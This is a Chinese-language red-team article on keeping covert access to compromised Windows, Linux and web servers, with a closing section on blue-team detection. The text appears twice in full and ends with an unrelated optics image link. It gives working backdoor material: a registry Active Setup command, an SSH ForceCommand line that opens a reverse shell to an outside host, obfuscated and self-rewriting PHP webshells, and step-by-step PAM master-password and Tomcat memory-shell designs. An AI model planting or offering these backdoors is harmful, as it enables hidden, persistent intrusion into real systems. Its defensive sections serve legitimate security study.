序言凌晨三点的暗战在渗透测试与红队评估的漫长黑夜里拿到一个 Shell 或是提权到 System/Administrator往往只是前戏。很多刚入行的年轻红队成员在拿到那个明亮的nt authority\system提示符时会忍不住在键盘前庆祝。但老猎手们知道真正的战争才刚刚开始。系统环境是动态的。管理员可能会重启服务器以应用补丁网络可能会因为故障发生抖动甚至安全软件的日常扫描都可能把你千辛万苦拿下的 Session 杀掉。如果你拿到权限后不进行任何处理睡一觉醒来你昨天打下的“半壁江山”可能已经化为乌有。这就是为什么我们需要“权限维持”——在目标内网中构建一种隐蔽的、持久的、抗清理的访问机制。俗称留后门。今天我们将从实战视角盘点 Windows 与 Linux 环境下最经典的权限维持技术。我们不谈那些早就被杀软盯死的烂大街脚本而是深入探讨启动项、计划任务、服务后门以及 Web 层面的幽灵——内存马。看看在现代 EDR 和高级威胁狩猎的凝视下后门是如何隐匿与进化的。第一章操作系统层维持——经典的“老三样”与翻新谈到 Windows 权限维持逃不开注册表、服务、计划任务这“老三样”。但老不代表无用关键在于如何用得巧妙、用得隐蔽。1.1 注册表自启最隐蔽的角落Windows 注册表是权限维持的重灾区。除了那些众所周知的Run键值如HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run这里早就被 EDR 盯死了红队更偏爱那些被系统默认使用、却被安全人员经常忽略的注册表位置。Active Setup活动设置这是一个极具历史感却极好用的后门。Active Setup 用于在用户首次登录时配置系统环境。系统在HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\下寻找 GUID 键值并执行其中的StubPath键值指向的程序。实战操作reg add HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E0A8A0-1234-5678-90AB-EFCD12345678} /v StubPath /t REG_SZ /d C:\Windows\Temp\update.exe /f优势它会在用户登录前静默执行。很多基于行为的监控只关注Run键值却漏掉了 Active Setup。更绝的是只要修改IsInstalled为 0这个键值每次用户登录都会触发完美实现持久化。用户辅助功能后门经典的“粘滞键”后门替换sethc.exe早就是个笑话。但思路是可以迁移的。Windows 提供了一系列辅助功能比如narrator.exe讲述人。我们可以通过修改注册表让系统在登录界面Winlogon 进程触发特定按键时执行我们的 Payload。或者更高级的利用Image File Execution Options (映像劫持)在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\下为某个系统进程如taskmgr.exe创建一个子项并设置Debugger键值指向我们的马。当管理员按下CtrlShiftESC想调出任务管理器看看到底是什么进程在吃内存时你的马就静默启动了。这招极损且极难被普通运维发现。1.2 WMI 事件订阅时间轴上的刺客如果说注册表后门是静态的那 WMI 事件订阅就是动态的。WMI 是 Windows 管理规范的核心它允许管理员定义一个事件触发器。这是内网红队极其偏爱的无文件后门技术。WMI 事件订阅分为三部分Event Filter事件过滤器定义什么时候触发。比如“系统启动后 60 秒”或“创建了一个特定名称的进程”。Event Consumer事件消费者定义触发后干什么。支持CommandLineEventConsumer执行命令或ActiveScriptEventConsumer执行 VBScript/JScript。Binding绑定把 1 和 2 绑在一起。实战操作以 WMI 永久订阅为例常见工具为 SharpWMIPersistence编写一个 WMI 脚本设定过滤器为SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.SystemUpTime 300。意思是系统开机 5 分钟后触发。消费者则执行一行经过混淆的 PowerShell Base64 反弹命令。为什么这招可怕因为 WMI 事件存储在 CIM 对象仓库里而不是文件系统里。你用Autoruns扫描可能扫不到用杀软扫磁盘也扫不到。它是真正意义上的内存/数据库驻留。只要管理员不重置 WMI 仓库或者重装系统这个后门将伴随机器的一生。即使是现代 EDR如果不深入解析 CIM 仓库的底层结构也很难发现这种隐蔽的关联。1.3 计划任务伪装成系统日常计划任务是系统调度的正规军。写一个计划任务后门很容易但写好却很难。关键在于如何让你的恶意任务淹没在系统成百上千个合法任务中。红队计划任务的原则不新建只修改。系统自带了很多计划任务比如\Microsoft\Windows\Defrag\ScheduledDefrag磁盘碎片整理。我们可以悄悄在这个已有任务的 XML 定义里追加一行让它在整理磁盘后顺便执行一下我们的 Payload。神不知鬼不觉。描述伪装。必须给你的后门起一个极具迷惑性的名字如\Microsoft\Windows\Update\TelemetryTask并将描述写为“用于收集系统遥测数据以提升体验”。蓝队排查时一看名字是微软官方任务往往直接跳过。触发频率极低。每分钟触发一次的计划任务是极其可疑的。真正的后门应该像潜艇潜伏期长达数天甚至数月。设定为“仅在系统空闲 4 小时后触发”或“每月 1 号凌晨 3 点触发”。平时它一动不动当红队需要重新接入内网时只要等到那个时间点Session 自然就回来了。第二章Linux 维持——从 Crontab 到内核 LKM 的降维打击Linux 服务器的权限维持与 Windows 截然不同。Linux 强调一切皆文件因此后门也多与文件系统、环境变量和底层库纠缠在一起。2.1 软链接与 PAM 后门伪装成认证模块在 Linux 下最经典的权限维持不是 Crontab 弹个 Shell而是修改认证模块PAMPluggable Authentication Modules。PAM 是 Linux 认证的核心机制。当用户输入su - root时系统会调用/lib/security/下的pam_unix.so去验证密码。如果你有 Root 权限可以替换这个.so文件在里面植入后门代码。经典的 PAM 后门做法下载当前系统对应版本的pam_unix.so源码。在pam_sm_authenticate函数中插入一段逻辑如果输入的密码是预设的“万能密码”如redteam123则直接返回认证成功绕过对/etc/shadow的比对。编译后将原文件备份用恶意文件覆盖。隐蔽性极高这不需要改动任何系统配置文件管理员用cat /etc/shadow看密码哈希没变用netstat看网络连接一切正常。但他用万能密码随时可以登录你永远可以登堂入室。即使管理员修改了 Root 密码你的万能密码依然有效。2.2 SSH ForceCommand万能钥匙的优雅后门如果你不想编译底层库可以通过修改 SSH 配置文件实现免密后门。在/etc/ssh/sshd_config中加入Match User dev ForceCommand /bin/sh -c exec /bin/sh -i /dev/tcp/10.0.0.1/4444 01这意味着无论dev用户用任何密码甚至用空密码登录 SSH只要连上端口系统就不再做密码校验而是直接执行 ForceCommand 指定的反弹 Shell。配合一个看似正常的用户名这是一个比修改密码更狠的侧门。2.3 LKM Rootkit隐藏在内核空间的幽灵前两者是用户态的把戏一旦蓝队上手段进行完整性校验如AIDE检查文件 Hash立刻就会暴露。对于高价值目标红队会尝试打入内核空间编写 LKMLinux Kernel ModuleRootkit。LKM Rootkit 不修改文件系统而是动态加载到内核内存中Hook 系统调用表。例如Hooksys_getdents系统调用当系统列出目录如ls命令时过滤掉名为rootkit.ko的文件实现文件隐藏Hooksys_read隐藏网络连接甚至 Hooksys_kill让进程无法被 kill。LKM 是内网防守的天花板因为它打破了用户态的信任边界。一旦内核被攻破任何在用户态运行的杀软、EDR 都不可信因为 EDR 调用的 API 基础设施已经被劫持。但加载 LKM 需要特定内核版本匹配且容易被内存取证发现如 Volatility 检测隐藏模块这需要极高的技术门槛。第三章Web 层面的幽灵——从一句话到内存马的进化史当目标是一个 Web 服务器时红队最常用的维持手段是 Webshell。过去十年Webshell 的攻防经历了翻天覆地的演变。3.1 早期时代一句话木马与特征绕过经典的?php eval($_POST[cmd]);?是无数人的启蒙。但随着 WAF 的普及这种特征极其明显的代码已经无法生存。红队开始玩弄变形?php$fr$_PO;$bcST[c];$ assemble$fr.$bc;// 拼接出 $_POST[c]$funcassert;// 用 assert 替代 eval$func($$assemble[0],$$assemble[1]);?利用字符串拼接、动态调用、异或运算等手段绕过基于正则表达式的静态检测。但无论怎么变只要最终在 PHP 解释器里执行了eval这种语言结构其行为模式是固定且可疑的。3.2 中期不死马与权限锁后来出现了“不死马”。原理是利用 PHP 的ignore_user_abort(true)和set_time_limit(0)让脚本在用户断开连接后依然持续运行。?phpignore_user_abort(true);set_time_limit(0);$file.config.php;$code?php if(md5($_POST[pass])d41d8cd98f00b204e9800998ecf8427e){eval($_POST[code]);} ?;while(file_exists($file)){file_put_contents($file,$code);usleep(1000);}?这个脚本会疯狂地在目录里生成.config.php。蓝队即使删除了外层的木马这个守护进程还会持续把内层木马写回来。只有重启 Web 服务或者kill掉 PHP 进程才能解决。这在当时给防守方造成了极大的心理阴影。3.3 现代战场中间件内存马——Webshell 的终极形态随着现代中间件Tomcat、Weblogic、Spring的普及以及企业对磁盘文件落地的严格监控传统的文件型 Webshell 走到了尽头。于是内存马横空出世。内存马的原理不向磁盘写入任何文件而是利用 Java 反射等机制在运行时动态地将恶意逻辑注册到中间件的请求路由中。当攻击者请求特定路径如/favicon.ico但携带特殊 Header时中间件就会将请求转交给恶意逻辑执行并将结果返回。以Tomcat Filter 型内存马为例获取上下文通过Thread.currentThread().getContextClassLoader()等手段获取当前 Tomcat 的StandardContext。构造恶意 Filter定义一个 Java 类实现javax.servlet.Filter接口。在doFilter方法中写入如果请求 Header 中带有Referer: redteam则执行 Headercmd中的系统命令并返回结果否则放行。动态注册利用反射调用StandardContext.addFilterDef()和addFilterMap()将恶意 Filter 动态挂载到 Tomcat 的过滤链上并设置拦截路径为/*所有请求。为什么这是终极形态不落地不写磁盘绕过一切文件完整性校验。极难发现管理员查看webapps目录下干干净净看 Tomcat 配置文件也没有任何改动。一切都在内存中发生。生命周期除非重启 Tomcat 进程否则这个后门将永远存在。而且配合前面的 WMI 或计划任务后门一旦重启红队会重新注入内存马形成完美的闭环。蓝队如何反击内存马查看中间件的 MBean 服务器检查是否有动态注册的 Filter/Servlet。内存取证Dump 出整个 Tomcat 进程的内存如使用jmap -dump:formatb,fileheap.bin利用 Java 反编译工具分析内存里的类寻找恶意特征。但这对于动辄几十 GB 内存的现代中间件来说成本极其高昂。第四章网络层面的隐形桥梁——协议层后门除了系统和应用层红队还会在网络层建立隐蔽的通道。这类后门不依赖系统持久化机制而是利用正常协议的“盲区”建立隧道随时准备唤醒主 Payload。4.1 ICMP 隧道与 DNS 隧道后门在企业严格限制出网的环境下攻击者可以在内网某台跳板机上运行 ICMP 隧道如icmpsh或 DNS 隧道如dnscat2。这通常不随系统启动因为可能需要管理员密码重新获取但配合计划任务可以设定每天凌晨 2 点自动运行一段轻量的 ICMP 脚本向 VPS 发送几个特定的心跳包。VPS 收到后通过 ICMP 响应下发真正的 Shellcode。这就将后门的触角伸到了最底层的网络协议。4.2 隐蔽的端口监听Raw Sockets在 Linux 下高级红队会编写极简的 Raw Socket 监听程序直接绑定在网卡接口上。它不监听传统的 TCP 端口而是监听原始的以太网帧或 IP 包。比如程序设定只处理那些带有特定魔数Magic Number标志的 UDP 包。常规的netstat -anp或ss -tulwn根本看不到这个监听器因为它没有进入操作系统的 Socket 栈。当攻击者向目标发送带有魔数的数据包时监听器捕获解密其中的指令并执行。这是一种典型的 Sniffing 后门神出鬼没。第五章蓝队的反击——威胁狩猎与基线对比面对如此繁多、从系统底层到应用内存的权限维持手段蓝队绝不是待宰的羔羊。现代蓝队通过“基线对比”和“行为狩猎”正在将红队的后门一个个揪出来。5.1 黄金标准Autoruns 与 Sysinternals在 Windows 端Sysinternals 工具集是红队的噩梦。特别是Autoruns。它能扫描几十个甚至上百个注册表自启位置、服务驱动、计划任务、浏览器加载项、Active Setup 等。红队试图在注册表角落藏后门Autoruns 一眼就能扫出来并且会用不同颜色标出数字签名缺失的项。蓝队只需将一台干净的机器基线导出与嫌疑机器的 Autoruns 结果进行 Diff对比任何新加的启动项立刻无所遁形。5.2 内核回调与 EDR 监控现代 EDR 不仅仅看文件特征它更关注行为关联。当powershell.exe修改HKLM\SYSTEM\CurrentControlSet\Services时EDR 触发高危告警。当一个未知进程尝试调用WMI命名空间创建__EventConsumer时EDR 直接拦截并回溯调用链。当Java.exe突然使用反射机制调用addFilter时EDR 立即 Dump 进程并告警。5.3 内存取证Volatility 的法眼对于 LKM Rootkit 或内存马传统手段失效。但 DFIR数字取证与应急响应人员会拔下网线不关机直接用工具如 PCileech、WinPmemDump 物理内存。然后用 Volatility 框架分析。linux_hidden_modules揪出被隐藏的 LKM 模块。对 Java 堆进行分析找出内存马的 Filter 实例。内存是红队的游乐场也是蓝队最后也是最坚固的防线。5.4 文件完整性校验对于替换pam_unix.so或修改 SSH 配置的行为蓝队通过部署 AIDE 或 Tripwire 等文件完整性校验工具在系统关键目录和核心库文件变动时进行哈希对比。一旦发现哈希不一致立刻触发最高级别告警彻底封死底层文件后门的路。第六章红蓝博弈后门的艺术在于“克制”讲了这么多技术最后想谈谈红队 OPSEC操作安全的核心哲学——克制。很多刚入门的攻击者拿到权限后会像暴发户一样疯狂留后门注册表写三个、计划任务建两个、再留个 Webshell。这不仅是愚蠢的而且是极度危险的。“后门越多越安全”是一个致命误区。后门越多暴露面越大蓝队只要抓住其中一个特征比如一个没免杀好的 EXE就能顺藤摸瓜摸出你的整个基础设施。真正的高手在一个目标上只留一个或者最多两个极其隐蔽、高度定制化的后门。它会经过严格的免杀处理其触发条件极其苛刻比如只在特定日期、验证了特定的环境变量后才唤醒即使被蓝队偶然捕获也会因为无法分析出逻辑而将其当作误报放过。权限维持不是堆砌技术而是一场关于隐蔽、耐心和克制的心理战。它要求攻击者深刻理解操作系统的每一行底层逻辑甚至理解防守者的心理。结语持久战的终点后门与反后门是一场没有硝烟的持久战。当我们回顾这些技术从最古老的sethc.exe粘滞键替换到 WMI 事件订阅的无文件驻留再到如今潜入 Tomcat 内存深处的幽灵 Filter。攻防的焦点不断向底层、向内存、向协议深处转移。企业内网的安全防御最终拼的就是对“常态”的感知。谁能把整个内网的每一个进程、每一行注册表、每一个网络连接都刻画得清清楚楚谁就能在第一丝异常出现时将其掐灭。
序言凌晨三点的暗战在渗透测试与红队评估的漫长黑夜里拿到一个 Shell 或是提权到 System/Administrator往往只是前戏。很多刚入行的年轻红队成员在拿到那个明亮的nt authority\system提示符时会忍不住在键盘前庆祝。但老猎手们知道真正的战争才刚刚开始。系统环境是动态的。管理员可能会重启服务器以应用补丁网络可能会因为故障发生抖动甚至安全软件的日常扫描都可能把你千辛万苦拿下的 Session 杀掉。如果你拿到权限后不进行任何处理睡一觉醒来你昨天打下的“半壁江山”可能已经化为乌有。这就是为什么我们需要“权限维持”——在目标内网中构建一种隐蔽的、持久的、抗清理的访问机制。俗称留后门。今天我们将从实战视角盘点 Windows 与 Linux 环境下最经典的权限维持技术。我们不谈那些早就被杀软盯死的烂大街脚本而是深入探讨启动项、计划任务、服务后门以及 Web 层面的幽灵——内存马。看看在现代 EDR 和高级威胁狩猎的凝视下后门是如何隐匿与进化的。第一章操作系统层维持——经典的“老三样”与翻新谈到 Windows 权限维持逃不开注册表、服务、计划任务这“老三样”。但老不代表无用关键在于如何用得巧妙、用得隐蔽。1.1 注册表自启最隐蔽的角落Windows 注册表是权限维持的重灾区。除了那些众所周知的Run键值如HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run这里早就被 EDR 盯死了红队更偏爱那些被系统默认使用、却被安全人员经常忽略的注册表位置。Active Setup活动设置这是一个极具历史感却极好用的后门。Active Setup 用于在用户首次登录时配置系统环境。系统在HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\下寻找 GUID 键值并执行其中的StubPath键值指向的程序。实战操作reg add HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E0A8A0-1234-5678-90AB-EFCD12345678} /v StubPath /t REG_SZ /d C:\Windows\Temp\update.exe /f优势它会在用户登录前静默执行。很多基于行为的监控只关注Run键值却漏掉了 Active Setup。更绝的是只要修改IsInstalled为 0这个键值每次用户登录都会触发完美实现持久化。用户辅助功能后门经典的“粘滞键”后门替换sethc.exe早就是个笑话。但思路是可以迁移的。Windows 提供了一系列辅助功能比如narrator.exe讲述人。我们可以通过修改注册表让系统在登录界面Winlogon 进程触发特定按键时执行我们的 Payload。或者更高级的利用Image File Execution Options (映像劫持)在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\下为某个系统进程如taskmgr.exe创建一个子项并设置Debugger键值指向我们的马。当管理员按下CtrlShiftESC想调出任务管理器看看到底是什么进程在吃内存时你的马就静默启动了。这招极损且极难被普通运维发现。1.2 WMI 事件订阅时间轴上的刺客如果说注册表后门是静态的那 WMI 事件订阅就是动态的。WMI 是 Windows 管理规范的核心它允许管理员定义一个事件触发器。这是内网红队极其偏爱的无文件后门技术。WMI 事件订阅分为三部分Event Filter事件过滤器定义什么时候触发。比如“系统启动后 60 秒”或“创建了一个特定名称的进程”。Event Consumer事件消费者定义触发后干什么。支持CommandLineEventConsumer执行命令或ActiveScriptEventConsumer执行 VBScript/JScript。Binding绑定把 1 和 2 绑在一起。实战操作以 WMI 永久订阅为例常见工具为 SharpWMIPersistence编写一个 WMI 脚本设定过滤器为SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.SystemUpTime 300。意思是系统开机 5 分钟后触发。消费者则执行一行经过混淆的 PowerShell Base64 反弹命令。为什么这招可怕因为 WMI 事件存储在 CIM 对象仓库里而不是文件系统里。你用Autoruns扫描可能扫不到用杀软扫磁盘也扫不到。它是真正意义上的内存/数据库驻留。只要管理员不重置 WMI 仓库或者重装系统这个后门将伴随机器的一生。即使是现代 EDR如果不深入解析 CIM 仓库的底层结构也很难发现这种隐蔽的关联。1.3 计划任务伪装成系统日常计划任务是系统调度的正规军。写一个计划任务后门很容易但写好却很难。关键在于如何让你的恶意任务淹没在系统成百上千个合法任务中。红队计划任务的原则不新建只修改。系统自带了很多计划任务比如\Microsoft\Windows\Defrag\ScheduledDefrag磁盘碎片整理。我们可以悄悄在这个已有任务的 XML 定义里追加一行让它在整理磁盘后顺便执行一下我们的 Payload。神不知鬼不觉。描述伪装。必须给你的后门起一个极具迷惑性的名字如\Microsoft\Windows\Update\TelemetryTask并将描述写为“用于收集系统遥测数据以提升体验”。蓝队排查时一看名字是微软官方任务往往直接跳过。触发频率极低。每分钟触发一次的计划任务是极其可疑的。真正的后门应该像潜艇潜伏期长达数天甚至数月。设定为“仅在系统空闲 4 小时后触发”或“每月 1 号凌晨 3 点触发”。平时它一动不动当红队需要重新接入内网时只要等到那个时间点Session 自然就回来了。第二章Linux 维持——从 Crontab 到内核 LKM 的降维打击Linux 服务器的权限维持与 Windows 截然不同。Linux 强调一切皆文件因此后门也多与文件系统、环境变量和底层库纠缠在一起。2.1 软链接与 PAM 后门伪装成认证模块在 Linux 下最经典的权限维持不是 Crontab 弹个 Shell而是修改认证模块PAMPluggable Authentication Modules。PAM 是 Linux 认证的核心机制。当用户输入su - root时系统会调用/lib/security/下的pam_unix.so去验证密码。如果你有 Root 权限可以替换这个.so文件在里面植入后门代码。经典的 PAM 后门做法下载当前系统对应版本的pam_unix.so源码。在pam_sm_authenticate函数中插入一段逻辑如果输入的密码是预设的“万能密码”如redteam123则直接返回认证成功绕过对/etc/shadow的比对。编译后将原文件备份用恶意文件覆盖。隐蔽性极高这不需要改动任何系统配置文件管理员用cat /etc/shadow看密码哈希没变用netstat看网络连接一切正常。但他用万能密码随时可以登录你永远可以登堂入室。即使管理员修改了 Root 密码你的万能密码依然有效。2.2 SSH ForceCommand万能钥匙的优雅后门如果你不想编译底层库可以通过修改 SSH 配置文件实现免密后门。在/etc/ssh/sshd_config中加入Match User dev ForceCommand /bin/sh -c exec /bin/sh -i /dev/tcp/10.0.0.1/4444 01这意味着无论dev用户用任何密码甚至用空密码登录 SSH只要连上端口系统就不再做密码校验而是直接执行 ForceCommand 指定的反弹 Shell。配合一个看似正常的用户名这是一个比修改密码更狠的侧门。2.3 LKM Rootkit隐藏在内核空间的幽灵前两者是用户态的把戏一旦蓝队上手段进行完整性校验如AIDE检查文件 Hash立刻就会暴露。对于高价值目标红队会尝试打入内核空间编写 LKMLinux Kernel ModuleRootkit。LKM Rootkit 不修改文件系统而是动态加载到内核内存中Hook 系统调用表。例如Hooksys_getdents系统调用当系统列出目录如ls命令时过滤掉名为rootkit.ko的文件实现文件隐藏Hooksys_read隐藏网络连接甚至 Hooksys_kill让进程无法被 kill。LKM 是内网防守的天花板因为它打破了用户态的信任边界。一旦内核被攻破任何在用户态运行的杀软、EDR 都不可信因为 EDR 调用的 API 基础设施已经被劫持。但加载 LKM 需要特定内核版本匹配且容易被内存取证发现如 Volatility 检测隐藏模块这需要极高的技术门槛。第三章Web 层面的幽灵——从一句话到内存马的进化史当目标是一个 Web 服务器时红队最常用的维持手段是 Webshell。过去十年Webshell 的攻防经历了翻天覆地的演变。3.1 早期时代一句话木马与特征绕过经典的?php eval($_POST[cmd]);?是无数人的启蒙。但随着 WAF 的普及这种特征极其明显的代码已经无法生存。红队开始玩弄变形?php$fr$_PO;$bcST[c];$ assemble$fr.$bc;// 拼接出 $_POST[c]$funcassert;// 用 assert 替代 eval$func($$assemble[0],$$assemble[1]);?利用字符串拼接、动态调用、异或运算等手段绕过基于正则表达式的静态检测。但无论怎么变只要最终在 PHP 解释器里执行了eval这种语言结构其行为模式是固定且可疑的。3.2 中期不死马与权限锁后来出现了“不死马”。原理是利用 PHP 的ignore_user_abort(true)和set_time_limit(0)让脚本在用户断开连接后依然持续运行。?phpignore_user_abort(true);set_time_limit(0);$file.config.php;$code?php if(md5($_POST[pass])d41d8cd98f00b204e9800998ecf8427e){eval($_POST[code]);} ?;while(file_exists($file)){file_put_contents($file,$code);usleep(1000);}?这个脚本会疯狂地在目录里生成.config.php。蓝队即使删除了外层的木马这个守护进程还会持续把内层木马写回来。只有重启 Web 服务或者kill掉 PHP 进程才能解决。这在当时给防守方造成了极大的心理阴影。3.3 现代战场中间件内存马——Webshell 的终极形态随着现代中间件Tomcat、Weblogic、Spring的普及以及企业对磁盘文件落地的严格监控传统的文件型 Webshell 走到了尽头。于是内存马横空出世。内存马的原理不向磁盘写入任何文件而是利用 Java 反射等机制在运行时动态地将恶意逻辑注册到中间件的请求路由中。当攻击者请求特定路径如/favicon.ico但携带特殊 Header时中间件就会将请求转交给恶意逻辑执行并将结果返回。以Tomcat Filter 型内存马为例获取上下文通过Thread.currentThread().getContextClassLoader()等手段获取当前 Tomcat 的StandardContext。构造恶意 Filter定义一个 Java 类实现javax.servlet.Filter接口。在doFilter方法中写入如果请求 Header 中带有Referer: redteam则执行 Headercmd中的系统命令并返回结果否则放行。动态注册利用反射调用StandardContext.addFilterDef()和addFilterMap()将恶意 Filter 动态挂载到 Tomcat 的过滤链上并设置拦截路径为/*所有请求。为什么这是终极形态不落地不写磁盘绕过一切文件完整性校验。极难发现管理员查看webapps目录下干干净净看 Tomcat 配置文件也没有任何改动。一切都在内存中发生。生命周期除非重启 Tomcat 进程否则这个后门将永远存在。而且配合前面的 WMI 或计划任务后门一旦重启红队会重新注入内存马形成完美的闭环。蓝队如何反击内存马查看中间件的 MBean 服务器检查是否有动态注册的 Filter/Servlet。内存取证Dump 出整个 Tomcat 进程的内存如使用jmap -dump:formatb,fileheap.bin利用 Java 反编译工具分析内存里的类寻找恶意特征。但这对于动辄几十 GB 内存的现代中间件来说成本极其高昂。第四章网络层面的隐形桥梁——协议层后门除了系统和应用层红队还会在网络层建立隐蔽的通道。这类后门不依赖系统持久化机制而是利用正常协议的“盲区”建立隧道随时准备唤醒主 Payload。4.1 ICMP 隧道与 DNS 隧道后门在企业严格限制出网的环境下攻击者可以在内网某台跳板机上运行 ICMP 隧道如icmpsh或 DNS 隧道如dnscat2。这通常不随系统启动因为可能需要管理员密码重新获取但配合计划任务可以设定每天凌晨 2 点自动运行一段轻量的 ICMP 脚本向 VPS 发送几个特定的心跳包。VPS 收到后通过 ICMP 响应下发真正的 Shellcode。这就将后门的触角伸到了最底层的网络协议。4.2 隐蔽的端口监听Raw Sockets在 Linux 下高级红队会编写极简的 Raw Socket 监听程序直接绑定在网卡接口上。它不监听传统的 TCP 端口而是监听原始的以太网帧或 IP 包。比如程序设定只处理那些带有特定魔数Magic Number标志的 UDP 包。常规的netstat -anp或ss -tulwn根本看不到这个监听器因为它没有进入操作系统的 Socket 栈。当攻击者向目标发送带有魔数的数据包时监听器捕获解密其中的指令并执行。这是一种典型的 Sniffing 后门神出鬼没。第五章蓝队的反击——威胁狩猎与基线对比面对如此繁多、从系统底层到应用内存的权限维持手段蓝队绝不是待宰的羔羊。现代蓝队通过“基线对比”和“行为狩猎”正在将红队的后门一个个揪出来。5.1 黄金标准Autoruns 与 Sysinternals在 Windows 端Sysinternals 工具集是红队的噩梦。特别是Autoruns。它能扫描几十个甚至上百个注册表自启位置、服务驱动、计划任务、浏览器加载项、Active Setup 等。红队试图在注册表角落藏后门Autoruns 一眼就能扫出来并且会用不同颜色标出数字签名缺失的项。蓝队只需将一台干净的机器基线导出与嫌疑机器的 Autoruns 结果进行 Diff对比任何新加的启动项立刻无所遁形。5.2 内核回调与 EDR 监控现代 EDR 不仅仅看文件特征它更关注行为关联。当powershell.exe修改HKLM\SYSTEM\CurrentControlSet\Services时EDR 触发高危告警。当一个未知进程尝试调用WMI命名空间创建__EventConsumer时EDR 直接拦截并回溯调用链。当Java.exe突然使用反射机制调用addFilter时EDR 立即 Dump 进程并告警。5.3 内存取证Volatility 的法眼对于 LKM Rootkit 或内存马传统手段失效。但 DFIR数字取证与应急响应人员会拔下网线不关机直接用工具如 PCileech、WinPmemDump 物理内存。然后用 Volatility 框架分析。linux_hidden_modules揪出被隐藏的 LKM 模块。对 Java 堆进行分析找出内存马的 Filter 实例。内存是红队的游乐场也是蓝队最后也是最坚固的防线。5.4 文件完整性校验对于替换pam_unix.so或修改 SSH 配置的行为蓝队通过部署 AIDE 或 Tripwire 等文件完整性校验工具在系统关键目录和核心库文件变动时进行哈希对比。一旦发现哈希不一致立刻触发最高级别告警彻底封死底层文件后门的路。第六章红蓝博弈后门的艺术在于“克制”讲了这么多技术最后想谈谈红队 OPSEC操作安全的核心哲学——克制。很多刚入门的攻击者拿到权限后会像暴发户一样疯狂留后门注册表写三个、计划任务建两个、再留个 Webshell。这不仅是愚蠢的而且是极度危险的。“后门越多越安全”是一个致命误区。后门越多暴露面越大蓝队只要抓住其中一个特征比如一个没免杀好的 EXE就能顺藤摸瓜摸出你的整个基础设施。真正的高手在一个目标上只留一个或者最多两个极其隐蔽、高度定制化的后门。它会经过严格的免杀处理其触发条件极其苛刻比如只在特定日期、验证了特定的环境变量后才唤醒即使被蓝队偶然捕获也会因为无法分析出逻辑而将其当作误报放过。权限维持不是堆砌技术而是一场关于隐蔽、耐心和克制的心理战。它要求攻击者深刻理解操作系统的每一行底层逻辑甚至理解防守者的心理。结语持久战的终点后门与反后门是一场没有硝烟的持久战。当我们回顾这些技术从最古老的sethc.exe粘滞键替换到 WMI 事件订阅的无文件驻留再到如今潜入 Tomcat 内存深处的幽灵 Filter。攻防的焦点不断向底层、向内存、向协议深处转移。企业内网的安全防御最终拼的就是对“常态”的感知。谁能把整个内网的每一个进程、每一行注册表、每一个网络连接都刻画得清清楚楚谁就能在第一丝异常出现时将其掐灭。
![[光学原理与应用-521]：对光的错误理解与纠偏](http://pic.xiahunao.cn/yaotu/[光学原理与应用-521]：对光的错误理解与纠偏)
